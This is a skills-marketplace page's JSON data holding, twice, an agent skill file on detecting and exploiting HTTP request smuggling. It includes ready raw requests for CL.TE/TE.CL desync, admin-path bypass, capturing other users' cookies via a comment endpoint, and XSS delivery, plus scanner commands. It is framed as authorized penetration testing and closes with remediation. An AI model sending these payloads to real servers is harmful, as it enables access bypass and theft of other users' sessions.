[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M78P2GAPD2SAF3CNF4FPBQMX":3,"skill-same:01M78P2GAPD2SAF3CNF4FPBQMX":75},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":16,"sourceHtmlUrl":17,"categories":18,"keywords":19,"publishedAt":20,"linkOnly":21,"markdownContent":22,"markdownBody":23,"frontMatter":24,"refName":36,"commitSha":37,"skillDirectory":38,"forksCount":39,"repositoryHtmlUrl":40,"repositoryHomepageUrl":6,"ownerHtmlUrl":41,"ownerBlogUrl":42,"ownerDescription":43,"updatedAt":44,"install":45,"resources":58},"01M78P2GAPD2SAF3CNF4FPBQMX","exploiting-http-request-smuggling",null,"Detecting and exploiting HTTP request smuggling vulnerabilities caused by Content-Length and Transfer-Encoding parsing discrepancies between front-end and back-end servers.","jukeyman\u002Fjukeyman-skills","jukeyman","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F142960420?v=4","01M78FR4Y3DHMMCBCC0GXXNB3F","RICK JEFFERSON","01M78FR4Z8RVQRAD31Y5J7V6EB",1,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-http-request-smuggling\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-http-request-smuggling\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: exploiting-http-request-smuggling\ndescription: Detecting and exploiting HTTP request smuggling vulnerabilities caused by Content-Length and Transfer-Encoding parsing discrepancies between front-end and back-end servers.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags: [penetration-testing, request-smuggling, http-desync, web-security, burpsuite, owasp]\nversion: \"1.0\"\nauthor: mahipal\nlicense: Apache-2.0\n---\n\n# Exploiting HTTP Request Smuggling\n\n## When to Use\n\n- During authorized penetration tests when the application sits behind a reverse proxy, load balancer, or CDN\n- When testing infrastructure with multiple HTTP processors in the request chain (nginx + Apache, HAProxy + Gunicorn)\n- For assessing applications for HTTP desynchronization vulnerabilities\n- When other attack vectors are limited and you need to bypass front-end security controls\n- During security assessments of multi-tier web architectures\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement explicitly covering request smuggling (high-risk test)\n- **Burp Suite Professional**: With HTTP Request Smuggler extension (Turbo Intruder)\n- **smuggler.py**: Automated HTTP request smuggling detection tool\n- **curl**: Compiled with HTTP\u002F1.1 support and manual chunked encoding\n- **Target architecture knowledge**: Understanding of proxy\u002Fserver chain (front-end and back-end)\n- **Caution**: Request smuggling can affect other users' requests; test carefully\n\n## Workflow\n\n### Step 1: Identify the HTTP Architecture\n\nDetermine the proxy\u002Fserver chain and HTTP parsing characteristics.\n\n```bash\n# Identify front-end proxy\u002FCDN\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -iE \\\n  \"(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)\"\n\n# Common architectures:\n# Cloudflare → Nginx → Application\n# AWS ALB → Apache → Application\n# HAProxy → Gunicorn → Python app\n# Nginx → Node.js\u002FExpress\n# Akamai → IIS → .NET app\n\n# Check HTTP version support\ncurl -s -I --http1.1 \"https:\u002F\u002Ftarget.example.com\u002F\" | head -1\ncurl -s -I --http2 \"https:\u002F\u002Ftarget.example.com\u002F\" | head -1\n\n# Check if Transfer-Encoding is supported\ncurl -s -X POST \\\n  -H \"Transfer-Encoding: chunked\" \\\n  -H \"Content-Type: application\u002Fx-www-form-urlencoded\" \\\n  -d \"0\\r\\n\\r\\n\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\" -w \"%{http_code}\"\n\n# Check for HTTP\u002F2 downgrade to HTTP\u002F1.1 on backend\n# Many CDNs accept HTTP\u002F2 but forward HTTP\u002F1.1 to origin\n```\n\n### Step 2: Test for CL.TE Smuggling\n\nThe front-end uses Content-Length, the back-end uses Transfer-Encoding.\n\n```\n# In Burp Suite Repeater, disable \"Update Content-Length\" option\n# Send the following request manually:\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 13\nTransfer-Encoding: chunked\n\n0\n\nSMUGGLED\n\n# If vulnerable (CL.TE):\n# Front-end reads 13 bytes (Content-Length), forwards entire request\n# Back-end reads chunked: \"0\\r\\n\\r\\n\" = end of body\n# \"SMUGGLED\" becomes the start of the next request\n\n# Detection technique: Time-based\n# If back-end reads chunked and sees incomplete chunk, it waits:\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 4\nTransfer-Encoding: chunked\n\n1\nA\nX\n\n# If response is delayed (~5-10 seconds), CL.TE is likely\n```\n\n### Step 3: Test for TE.CL Smuggling\n\nThe front-end uses Transfer-Encoding, the back-end uses Content-Length.\n\n```\n# Burp Repeater - disable \"Update Content-Length\"\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 3\nTransfer-Encoding: chunked\n\n8\nSMUGGLED\n0\n\n\n# If vulnerable (TE.CL):\n# Front-end reads chunked: chunk \"SMUGGLED\" + final \"0\"\n# Back-end reads 3 bytes of Content-Length: \"8\\r\\n\"\n# Remaining \"SMUGGLED\\r\\n0\\r\\n\\r\\n\" becomes next request prefix\n\n# Detection via differential response:\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 6\nTransfer-Encoding: chunked\n\n0\n\nX\n\n# Front-end (TE): reads \"0\\r\\n\\r\\n\", sees end\n# Back-end (CL): reads 6 bytes \"0\\r\\nX\\r\\n\"\n# Next request gets \"X\" prepended, causing 400\u002F405 errors\n```\n\n### Step 4: Use Automated Detection Tools\n\nRun automated scanners to detect smuggling variants.\n\n```bash\n# Using smuggler.py\ngit clone https:\u002F\u002Fgithub.com\u002Fdefparam\u002Fsmuggler.git\ncd smuggler\npython3 smuggler.py -u \"https:\u002F\u002Ftarget.example.com\u002F\" -m GET POST\n\n# Using Burp HTTP Request Smuggler extension\n# 1. Install from BApp Store: \"HTTP Request Smuggler\"\n# 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe\n# 3. Check Scanner > Issue Activity for results\n\n# Using h2csmuggler for HTTP\u002F2 smuggling\n# git clone https:\u002F\u002Fgithub.com\u002FBishopFox\u002Fh2cSmuggler.git\npython3 h2csmuggler.py -x \"https:\u002F\u002Ftarget.example.com\u002F\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fadmin\"\n\n# Manual detection with Turbo Intruder\n# Send paired requests with different timing\n# First request: smuggling prefix\n# Second request: normal request that gets affected\n```\n\n### Step 5: Exploit Request Smuggling for Impact\n\nLeverage confirmed smuggling for practical attacks.\n\n```\n# Attack 1: Bypass front-end access controls\n# Access \u002Fadmin which is blocked by the front-end proxy\n\n# CL.TE exploit:\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 56\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fadmin HTTP\u002F1.1\nHost: target.example.com\nFoo: x\n\n# The smuggled \"GET \u002Fadmin\" request bypasses front-end restrictions\n# because it's processed by the back-end directly\n\n# Attack 2: Capture other users' requests\n# Smuggle a request that stores the next user's request in a visible location\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 130\nTransfer-Encoding: chunked\n\n0\n\nPOST \u002Fapi\u002Fcomments HTTP\u002F1.1\nHost: target.example.com\nContent-Type: application\u002Fx-www-form-urlencoded\nContent-Length: 400\n\nbody=\n\n# The next legitimate user's request gets appended to \"body=\"\n# and stored as a comment, exposing their cookies and headers\n\n# Attack 3: Reflected XSS escalation\n# Smuggle a request that will reflect XSS in the next response\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 150\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fsearch?q=\u003Cscript>alert(document.cookie)\u003C\u002Fscript> HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 10\nFoo: x\n\n# Next user receives the XSS response instead of their expected response\n```\n\n### Step 6: Test HTTP\u002F2 Request Smuggling\n\nAssess HTTP\u002F2 specific smuggling vectors.\n\n```\n# HTTP\u002F2 smuggling via CRLF injection in headers\n# HTTP\u002F2 should reject \\r\\n in header values, but some proxies don't\n\n# H2.CL smuggling: HTTP\u002F2 front-end, Content-Length on back-end\n# Send HTTP\u002F2 request with mismatched :path and content\n\n# Using Burp Suite with HTTP\u002F2 support:\n# 1. Enable HTTP\u002F2 in Repeater: Inspector > HTTP\u002F2\n# 2. Craft request with conflicting CL header\n\n# HTTP\u002F2 header injection\n# Add: Transfer-Encoding: chunked via HTTP\u002F2 pseudo-header\n# Some front-ends strip TE from HTTP\u002F1.1 but not from HTTP\u002F2\n\n# Test HTTP\u002F2 request tunneling\n# If front-end reuses HTTP\u002F2 connections for multiple users:\n# Poison the connection to affect subsequent requests\n\n# H2.TE smuggling via HTTP\u002F2 CONNECT\n# Use CONNECT method in HTTP\u002F2 to establish tunnels\n# that bypass front-end security controls\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **CL.TE Smuggling** | Front-end uses Content-Length, back-end uses Transfer-Encoding |\n| **TE.CL Smuggling** | Front-end uses Transfer-Encoding, back-end uses Content-Length |\n| **TE.TE Smuggling** | Both use Transfer-Encoding but parse obfuscated TE headers differently |\n| **HTTP Desync** | State where front-end and back-end disagree on request boundaries |\n| **Request Splitting** | One HTTP request is interpreted as two separate requests |\n| **Connection Poisoning** | Smuggled data affects the next request on the same TCP connection |\n| **H2.CL Smuggling** | HTTP\u002F2 to HTTP\u002F1.1 downgrade with Content-Length discrepancy |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Manual request crafting with disabled auto Content-Length |\n| **HTTP Request Smuggler (Burp)** | Automated smuggling detection extension by James Kettle |\n| **smuggler.py** | Python-based automated HTTP request smuggling scanner |\n| **h2cSmuggler** | HTTP\u002F2 cleartext smuggling tool from Bishop Fox |\n| **Turbo Intruder** | High-speed request engine for time-sensitive smuggling tests |\n| **curl** | Manual HTTP request crafting with precise byte control |\n\n## Common Scenarios\n\n### Scenario 1: Admin Panel Access Bypass\nThe front-end proxy blocks `\u002Fadmin` requests. A CL.TE smuggling attack prepends `GET \u002Fadmin` to the back-end's request queue, causing the back-end to process the admin request without the front-end's access control check.\n\n### Scenario 2: Cookie Theft via Request Capture\nA TE.CL smuggling attack injects a partial POST request to a comment endpoint. The next user's request (including cookies and authorization headers) is appended to the comment body and stored in the database.\n\n### Scenario 3: Cache Poisoning via Smuggling\nA smuggled request causes the cache to store a response from a different URL. Combined with cache poisoning, the attacker serves malicious content to all users requesting the legitimate URL.\n\n### Scenario 4: HTTP\u002F2 Desync on CDN\nThe CDN accepts HTTP\u002F2 and downgrades to HTTP\u002F1.1 for the origin. A header injection via HTTP\u002F2 creates a desync, allowing the attacker to smuggle requests that bypass the CDN's WAF rules.\n\n## Output Format\n\n```\n## HTTP Request Smuggling Finding\n\n**Vulnerability**: CL.TE HTTP Request Smuggling\n**Severity**: Critical (CVSS 9.1)\n**Location**: Front-end (Cloudflare) → Back-end (Nginx + Gunicorn)\n**OWASP Category**: A05:2021 - Security Misconfiguration\n\n### Architecture\nFront-end: Cloudflare (Content-Length priority)\nBack-end: Gunicorn (Transfer-Encoding priority)\nProtocol: HTTP\u002F1.1 between proxy and origin\n\n### Reproduction Steps\n1. Send POST request with both Content-Length and Transfer-Encoding headers\n2. Content-Length set to include smuggled request prefix\n3. Transfer-Encoding: chunked with \"0\\r\\n\\r\\n\" ending body\n4. Smuggled data becomes prefix of next back-end request\n\n### Confirmed Exploits\n| Exploit | Impact |\n|---------|--------|\n| Admin bypass | Accessed \u002Fadmin without authentication |\n| Request capture | Stole session cookies from other users |\n| XSS escalation | Delivered reflected XSS to arbitrary users |\n| Cache poisoning | Poisoned CDN cache with malicious response |\n\n### Recommendation\n1. Ensure front-end and back-end use the same HTTP parsing behavior\n2. Reject ambiguous requests with both Content-Length and Transfer-Encoding\n3. Upgrade to HTTP\u002F2 end-to-end (no protocol downgrade)\n4. Use HTTP\u002F2 between proxy and origin server\n5. Normalize requests at the front-end before forwarding\n```\n","# Exploiting HTTP Request Smuggling\n\n## When to Use\n\n- During authorized penetration tests when the application sits behind a reverse proxy, load balancer, or CDN\n- When testing infrastructure with multiple HTTP processors in the request chain (nginx + Apache, HAProxy + Gunicorn)\n- For assessing applications for HTTP desynchronization vulnerabilities\n- When other attack vectors are limited and you need to bypass front-end security controls\n- During security assessments of multi-tier web architectures\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement explicitly covering request smuggling (high-risk test)\n- **Burp Suite Professional**: With HTTP Request Smuggler extension (Turbo Intruder)\n- **smuggler.py**: Automated HTTP request smuggling detection tool\n- **curl**: Compiled with HTTP\u002F1.1 support and manual chunked encoding\n- **Target architecture knowledge**: Understanding of proxy\u002Fserver chain (front-end and back-end)\n- **Caution**: Request smuggling can affect other users' requests; test carefully\n\n## Workflow\n\n### Step 1: Identify the HTTP Architecture\n\nDetermine the proxy\u002Fserver chain and HTTP parsing characteristics.\n\n```bash\n# Identify front-end proxy\u002FCDN\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -iE \\\n  \"(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)\"\n\n# Common architectures:\n# Cloudflare → Nginx → Application\n# AWS ALB → Apache → Application\n# HAProxy → Gunicorn → Python app\n# Nginx → Node.js\u002FExpress\n# Akamai → IIS → .NET app\n\n# Check HTTP version support\ncurl -s -I --http1.1 \"https:\u002F\u002Ftarget.example.com\u002F\" | head -1\ncurl -s -I --http2 \"https:\u002F\u002Ftarget.example.com\u002F\" | head -1\n\n# Check if Transfer-Encoding is supported\ncurl -s -X POST \\\n  -H \"Transfer-Encoding: chunked\" \\\n  -H \"Content-Type: application\u002Fx-www-form-urlencoded\" \\\n  -d \"0\\r\\n\\r\\n\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\" -w \"%{http_code}\"\n\n# Check for HTTP\u002F2 downgrade to HTTP\u002F1.1 on backend\n# Many CDNs accept HTTP\u002F2 but forward HTTP\u002F1.1 to origin\n```\n\n### Step 2: Test for CL.TE Smuggling\n\nThe front-end uses Content-Length, the back-end uses Transfer-Encoding.\n\n```\n# In Burp Suite Repeater, disable \"Update Content-Length\" option\n# Send the following request manually:\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 13\nTransfer-Encoding: chunked\n\n0\n\nSMUGGLED\n\n# If vulnerable (CL.TE):\n# Front-end reads 13 bytes (Content-Length), forwards entire request\n# Back-end reads chunked: \"0\\r\\n\\r\\n\" = end of body\n# \"SMUGGLED\" becomes the start of the next request\n\n# Detection technique: Time-based\n# If back-end reads chunked and sees incomplete chunk, it waits:\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 4\nTransfer-Encoding: chunked\n\n1\nA\nX\n\n# If response is delayed (~5-10 seconds), CL.TE is likely\n```\n\n### Step 3: Test for TE.CL Smuggling\n\nThe front-end uses Transfer-Encoding, the back-end uses Content-Length.\n\n```\n# Burp Repeater - disable \"Update Content-Length\"\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 3\nTransfer-Encoding: chunked\n\n8\nSMUGGLED\n0\n\n\n# If vulnerable (TE.CL):\n# Front-end reads chunked: chunk \"SMUGGLED\" + final \"0\"\n# Back-end reads 3 bytes of Content-Length: \"8\\r\\n\"\n# Remaining \"SMUGGLED\\r\\n0\\r\\n\\r\\n\" becomes next request prefix\n\n# Detection via differential response:\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 6\nTransfer-Encoding: chunked\n\n0\n\nX\n\n# Front-end (TE): reads \"0\\r\\n\\r\\n\", sees end\n# Back-end (CL): reads 6 bytes \"0\\r\\nX\\r\\n\"\n# Next request gets \"X\" prepended, causing 400\u002F405 errors\n```\n\n### Step 4: Use Automated Detection Tools\n\nRun automated scanners to detect smuggling variants.\n\n```bash\n# Using smuggler.py\ngit clone https:\u002F\u002Fgithub.com\u002Fdefparam\u002Fsmuggler.git\ncd smuggler\npython3 smuggler.py -u \"https:\u002F\u002Ftarget.example.com\u002F\" -m GET POST\n\n# Using Burp HTTP Request Smuggler extension\n# 1. Install from BApp Store: \"HTTP Request Smuggler\"\n# 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe\n# 3. Check Scanner > Issue Activity for results\n\n# Using h2csmuggler for HTTP\u002F2 smuggling\n# git clone https:\u002F\u002Fgithub.com\u002FBishopFox\u002Fh2cSmuggler.git\npython3 h2csmuggler.py -x \"https:\u002F\u002Ftarget.example.com\u002F\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fadmin\"\n\n# Manual detection with Turbo Intruder\n# Send paired requests with different timing\n# First request: smuggling prefix\n# Second request: normal request that gets affected\n```\n\n### Step 5: Exploit Request Smuggling for Impact\n\nLeverage confirmed smuggling for practical attacks.\n\n```\n# Attack 1: Bypass front-end access controls\n# Access \u002Fadmin which is blocked by the front-end proxy\n\n# CL.TE exploit:\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 56\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fadmin HTTP\u002F1.1\nHost: target.example.com\nFoo: x\n\n# The smuggled \"GET \u002Fadmin\" request bypasses front-end restrictions\n# because it's processed by the back-end directly\n\n# Attack 2: Capture other users' requests\n# Smuggle a request that stores the next user's request in a visible location\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 130\nTransfer-Encoding: chunked\n\n0\n\nPOST \u002Fapi\u002Fcomments HTTP\u002F1.1\nHost: target.example.com\nContent-Type: application\u002Fx-www-form-urlencoded\nContent-Length: 400\n\nbody=\n\n# The next legitimate user's request gets appended to \"body=\"\n# and stored as a comment, exposing their cookies and headers\n\n# Attack 3: Reflected XSS escalation\n# Smuggle a request that will reflect XSS in the next response\n\nPOST \u002F HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 150\nTransfer-Encoding: chunked\n\n0\n\nGET \u002Fsearch?q=\u003Cscript>alert(document.cookie)\u003C\u002Fscript> HTTP\u002F1.1\nHost: target.example.com\nContent-Length: 10\nFoo: x\n\n# Next user receives the XSS response instead of their expected response\n```\n\n### Step 6: Test HTTP\u002F2 Request Smuggling\n\nAssess HTTP\u002F2 specific smuggling vectors.\n\n```\n# HTTP\u002F2 smuggling via CRLF injection in headers\n# HTTP\u002F2 should reject \\r\\n in header values, but some proxies don't\n\n# H2.CL smuggling: HTTP\u002F2 front-end, Content-Length on back-end\n# Send HTTP\u002F2 request with mismatched :path and content\n\n# Using Burp Suite with HTTP\u002F2 support:\n# 1. Enable HTTP\u002F2 in Repeater: Inspector > HTTP\u002F2\n# 2. Craft request with conflicting CL header\n\n# HTTP\u002F2 header injection\n# Add: Transfer-Encoding: chunked via HTTP\u002F2 pseudo-header\n# Some front-ends strip TE from HTTP\u002F1.1 but not from HTTP\u002F2\n\n# Test HTTP\u002F2 request tunneling\n# If front-end reuses HTTP\u002F2 connections for multiple users:\n# Poison the connection to affect subsequent requests\n\n# H2.TE smuggling via HTTP\u002F2 CONNECT\n# Use CONNECT method in HTTP\u002F2 to establish tunnels\n# that bypass front-end security controls\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **CL.TE Smuggling** | Front-end uses Content-Length, back-end uses Transfer-Encoding |\n| **TE.CL Smuggling** | Front-end uses Transfer-Encoding, back-end uses Content-Length |\n| **TE.TE Smuggling** | Both use Transfer-Encoding but parse obfuscated TE headers differently |\n| **HTTP Desync** | State where front-end and back-end disagree on request boundaries |\n| **Request Splitting** | One HTTP request is interpreted as two separate requests |\n| **Connection Poisoning** | Smuggled data affects the next request on the same TCP connection |\n| **H2.CL Smuggling** | HTTP\u002F2 to HTTP\u002F1.1 downgrade with Content-Length discrepancy |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Manual request crafting with disabled auto Content-Length |\n| **HTTP Request Smuggler (Burp)** | Automated smuggling detection extension by James Kettle |\n| **smuggler.py** | Python-based automated HTTP request smuggling scanner |\n| **h2cSmuggler** | HTTP\u002F2 cleartext smuggling tool from Bishop Fox |\n| **Turbo Intruder** | High-speed request engine for time-sensitive smuggling tests |\n| **curl** | Manual HTTP request crafting with precise byte control |\n\n## Common Scenarios\n\n### Scenario 1: Admin Panel Access Bypass\nThe front-end proxy blocks `\u002Fadmin` requests. A CL.TE smuggling attack prepends `GET \u002Fadmin` to the back-end's request queue, causing the back-end to process the admin request without the front-end's access control check.\n\n### Scenario 2: Cookie Theft via Request Capture\nA TE.CL smuggling attack injects a partial POST request to a comment endpoint. The next user's request (including cookies and authorization headers) is appended to the comment body and stored in the database.\n\n### Scenario 3: Cache Poisoning via Smuggling\nA smuggled request causes the cache to store a response from a different URL. Combined with cache poisoning, the attacker serves malicious content to all users requesting the legitimate URL.\n\n### Scenario 4: HTTP\u002F2 Desync on CDN\nThe CDN accepts HTTP\u002F2 and downgrades to HTTP\u002F1.1 for the origin. A header injection via HTTP\u002F2 creates a desync, allowing the attacker to smuggle requests that bypass the CDN's WAF rules.\n\n## Output Format\n\n```\n## HTTP Request Smuggling Finding\n\n**Vulnerability**: CL.TE HTTP Request Smuggling\n**Severity**: Critical (CVSS 9.1)\n**Location**: Front-end (Cloudflare) → Back-end (Nginx + Gunicorn)\n**OWASP Category**: A05:2021 - Security Misconfiguration\n\n### Architecture\nFront-end: Cloudflare (Content-Length priority)\nBack-end: Gunicorn (Transfer-Encoding priority)\nProtocol: HTTP\u002F1.1 between proxy and origin\n\n### Reproduction Steps\n1. Send POST request with both Content-Length and Transfer-Encoding headers\n2. Content-Length set to include smuggled request prefix\n3. Transfer-Encoding: chunked with \"0\\r\\n\\r\\n\" ending body\n4. Smuggled data becomes prefix of next back-end request\n\n### Confirmed Exploits\n| Exploit | Impact |\n|---------|--------|\n| Admin bypass | Accessed \u002Fadmin without authentication |\n| Request capture | Stole session cookies from other users |\n| XSS escalation | Delivered reflected XSS to arbitrary users |\n| Cache poisoning | Poisoned CDN cache with malicious response |\n\n### Recommendation\n1. Ensure front-end and back-end use the same HTTP parsing behavior\n2. Reject ambiguous requests with both Content-Length and Transfer-Encoding\n3. Upgrade to HTTP\u002F2 end-to-end (no protocol downgrade)\n4. Use HTTP\u002F2 between proxy and origin server\n5. Normalize requests at the front-end before forwarding\n```\n",{"name":5,"tags":25,"author":32,"domain":33,"license":15,"version":34,"subdomain":35,"description":7},[26,27,28,29,30,31],"penetration-testing","request-smuggling","http-desync","web-security","burpsuite","owasp","mahipal","cybersecurity","1.0","web-application-security","main","99825ad3f3bcc6597ddcc7294a14e6e922f2b67b","skills\u002Fexploiting-http-request-smuggling",0,"https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills","https:\u002F\u002Fgithub.com\u002Fjukeyman","https:\u002F\u002FRJBUSINESSSOLUTIONS.ORG","Credit and Finance Expert | Developer\r\n\r\nI'm Rick Jefferson, a seasoned credit and finance expert with over a decade of experience in financial literacy,","2026-07-13 07:03:29",{"source":8,"skillName":5,"commands":46,"prompt":56,"zipAvailable":57},[47,50,53],{"tool":48,"command":49},"npx","npx skills add jukeyman\u002Fjukeyman-skills --skill exploiting-http-request-smuggling",{"tool":51,"command":52},"bunx","bunx skills add jukeyman\u002Fjukeyman-skills --skill exploiting-http-request-smuggling",{"tool":54,"command":55},"pnpm","pnpm dlx skills add jukeyman\u002Fjukeyman-skills --skill exploiting-http-request-smuggling","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-http-request-smuggling\u002FSKILL.md",true,[59,63,69],{"path":60,"resourceType":60,"resourceTypeDesc":61,"sizeBytes":62,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":64,"resourceType":65,"resourceTypeDesc":66,"sizeBytes":67,"sourceHtmlUrl":68},"references\u002Fapi-reference.md","REFERENCE","参考文档",1969,"https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-http-request-smuggling\u002Freferences\u002Fapi-reference.md",{"path":70,"resourceType":71,"resourceTypeDesc":72,"sizeBytes":73,"sourceHtmlUrl":74},"scripts\u002Fagent.py","SCRIPT","脚本",6479,"https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-http-request-smuggling\u002Fscripts\u002Fagent.py",[76,84,91,98,105,113],{"skillNo":77,"name":78,"nameZh":6,"description":79,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":80,"licenseFileUrl":6,"sourceHtmlUrl":81,"categories":82,"keywords":83,"publishedAt":20},"01M79ANS2SM329NEP5ZCX106RR","zustand-store-creator","Create zustand store creator operations. Auto-activating skill for Frontend Development.\nTriggers on: zustand store creator, zustand store creator\nPart of the Frontend Development skill category. Use when working with zustand store creator functionality. Trigger with phrases like \"zustand store creator\", \"zustand creator\", \"zustand\".","MIT","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzustand-store-creator\u002FSKILL.md",[],[],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":80,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":20},"01M79AMZKP4YDEZ7EHG1Y7PP74","zero-trust-config-helper","Configure with zero trust config helper operations. Auto-activating skill for Security Advanced.\nTriggers on: zero trust config helper, zero trust config helper\nPart of the Security Advanced skill category. Use when configuring systems or services. Trigger with phrases like \"zero trust config helper\", \"zero helper\", \"zero\".","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzero-trust-config-helper\u002FSKILL.md",[],[],{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":80,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":97,"publishedAt":20},"01M79AMJSBCEJQNBTYNAHYN5HM","zapier-integration-helper","Assist with zapier integration helper operations. Auto-activating skill for Business Automation.\nTriggers on: zapier integration helper, zapier integration helper\nPart of the Business Automation skill category. Use when working with APIs or building integrations. Trigger with phrases like \"zapier integration helper\", \"zapier helper\", \"zapier\".","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzapier-integration-helper\u002FSKILL.md",[],[],{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":80,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":20},"01M79AHJZGVMARS13VFQYRR1MP","yaml-config-validator","Validate yaml config validator operations. Auto-activating skill for DevOps Basics.\nTriggers on: yaml config validator, yaml config validator\nPart of the DevOps Basics skill category. Use when configuring systems or services. Trigger with phrases like \"yaml config validator\", \"yaml validator\", \"yaml\".","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fyaml-config-validator\u002FSKILL.md",[],[],{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":80,"licenseFileUrl":109,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":20},"01M79AHGDZRN0020RDQSQDPAM8","xvary-stock-research","Thesis-driven equity analysis from public SEC EDGAR and market data; \u002Fanalyze, \u002Fscore, \u002Fcompare workflows with bundled Python tools (Claude Code, Cursor, Codex).","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fxvary-stock-research\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fxvary-stock-research\u002FSKILL.md",[],[],{"skillNo":114,"name":115,"nameZh":6,"description":116,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":80,"licenseFileUrl":6,"sourceHtmlUrl":117,"categories":118,"keywords":119,"publishedAt":20},"01M79AHCYJ9FV9RMHQ24HDRN33","xss-vulnerability-scanner","Scan xss vulnerability scanner operations. Auto-activating skill for Security Fundamentals.\nTriggers on: xss vulnerability scanner, xss vulnerability scanner\nPart of the Security 